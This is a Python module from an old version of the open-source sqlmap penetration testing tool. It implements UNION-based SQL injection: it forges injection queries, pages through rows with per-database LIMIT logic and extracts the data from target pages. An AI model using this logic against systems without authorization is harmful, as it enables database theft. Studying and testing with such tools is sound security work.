mirror of
https://github.com/sqlmapproject/sqlmap.git
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273 lines
11 KiB
Python
273 lines
11 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToStdout
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from lib.core.common import getIdentifiedDBMS
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from lib.core.common import getUnicode
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from lib.core.common import initTechnique
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from lib.core.common import parseUnionPage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.enums import PAYLOAD
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from lib.core.exception import sqlmapSyntaxException
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.utils.resume import resume
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reqCount = 0
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def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar=None, unpack=True, dump=False):
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"""
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This function tests for an inband SQL injection on the target
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url then call its subsidiary function to effectively perform an
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inband SQL injection on the affected url
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"""
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initTechnique(PAYLOAD.TECHNIQUE.UNION)
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count = None
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origExpr = expression
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start = time.time()
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startLimit = 0
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stopLimit = None
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test = True
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value = ""
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global reqCount
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if resetCounter:
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reqCount = 0
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# Prepare expression with delimiters
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if unescape:
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expression = agent.concatQuery(expression, unpack)
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expression = unescaper.unescape(expression)
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if kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == 2 and not direct:
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_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
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# We have to check if the SQL query might return multiple entries
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# and in such case forge the SQL limiting the query output one
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# entry per time
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# NOTE: I assume that only queries that get data from a table can
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# return multiple entries
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if " FROM " in expression and "EXISTS(" not in expression:
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limitRegExp = re.search(queries[getIdentifiedDBMS()].limitregexp.query, expression, re.I)
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if limitRegExp:
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if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
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limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
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limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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limitGroupStart = queries[getIdentifiedDBMS()].limitgroupstart.query
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limitGroupStop = queries[getIdentifiedDBMS()].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif getIdentifiedDBMS() == DBMS.ORACLE:
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if getIdentifiedDBMS() in ( DBMS.MYSQL, DBMS.PGSQL ):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[getIdentifiedDBMS()].limitstring.query)
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expression = expression[:untilLimitChar]
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elif getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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stopLimit += startLimit
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elif dump:
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if conf.limitStart:
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startLimit = conf.limitStart
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if conf.limitStop:
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stopLimit = conf.limitStop
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if not stopLimit or stopLimit <= 1:
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if getIdentifiedDBMS() == DBMS.ORACLE and expression.endswith("FROM DUAL"):
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test = False
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else:
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test = True
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if test:
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# Count the number of SQL query entries output
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countFirstField = queries[getIdentifiedDBMS()].count.query % expressionFieldsList[0]
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countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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count = resume(countedExpression, None)
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if not stopLimit:
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if not count or not count.isdigit():
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output = unionUse(countedExpression, direct=True)
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if output:
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count = parseUnionPage(output, countedExpression)
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if count and count.isdigit() and int(count) > 0:
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stopLimit = int(count)
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infoMsg = "the SQL query used returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the used SQL query. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif ( not count or int(count) == 0 ):
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warnMsg = "the SQL query used does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return
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elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
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warnMsg = "the SQL query used does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return
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try:
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for num in xrange(startLimit, stopLimit):
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if getIdentifiedDBMS() in (DBMS.MSSQL, DBMS.SYBASE):
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field = expressionFieldsList[0]
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elif getIdentifiedDBMS() == DBMS.ORACLE:
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field = expressionFieldsList
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else:
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field = None
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limitedExpr = agent.limitQuery(num, expression, field)
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output = resume(limitedExpr, None)
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if not output:
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output = unionUse(limitedExpr, direct=True, unescape=False)
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if output:
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value += output
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parseUnionPage(output, limitedExpr)
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if conf.verbose in (1, 2):
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length = stopLimit - startLimit
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count = num - startLimit + 1
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status = '%d/%d entries (%d%s)' % (count, length, round(100.0*count/length), '%')
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dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), status), True)
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dataToStdout("\n")
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except KeyboardInterrupt:
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print
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warnMsg = "Ctrl+C detected in dumping phase"
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logger.warn(warnMsg)
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finally:
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clearConsoleLine(True)
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return value
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value = unionUse(expression, direct=True, unescape=False)
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else:
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# Forge the inband SQL injection request
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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query = agent.forgeInbandQuery(expression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5])
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payload = agent.payload(newValue=query)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, content=True)
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reqCount += 1
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if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
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return
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# Parse the returned page to get the exact inband
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# sql injection output
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startPosition = resultPage.index(kb.misc.start)
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endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
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value = getUnicode(resultPage[startPosition:endPosition])
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duration = calculateDeltaSeconds(start)
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debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
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logger.debug(debugMsg)
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return value
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def __configUnionChar(char):
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if char.isdigit() or char == "NULL":
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conf.uChar = char
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elif not char.startswith("'") or not char.endswith("'"):
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conf.uChar = "'%s'" % char
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def __configUnionCols(columns):
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if "-" not in columns or len(columns.split("-")) != 2:
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raise sqlmapSyntaxException, "--union-cols must be a range with hyphon (e.g. 1-10)"
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columns = columns.replace(" ", "")
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conf.uColsStart, conf.uColsStop = columns.split("-")
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if not conf.uColsStart.isdigit() or not conf.uColsStop.isdigit():
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raise sqlmapSyntaxException, "--union-cols must be a range of integers"
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conf.uColsStart = int(conf.uColsStart)
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conf.uColsStop = int(conf.uColsStop)
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if conf.uColsStart > conf.uColsStop:
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errMsg = "--union-cols range has to be from lower to "
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errMsg += "higher number of columns"
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raise sqlmapSyntaxException, errMsg
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def configUnion(char, columns):
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if isinstance(conf.uChar, basestring):
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__configUnionChar(conf.uChar)
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elif isinstance(char, basestring):
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__configUnionChar(char)
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if isinstance(conf.uCols, basestring):
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__configUnionCols(conf.uCols)
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elif isinstance(columns, basestring):
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__configUnionCols(columns)
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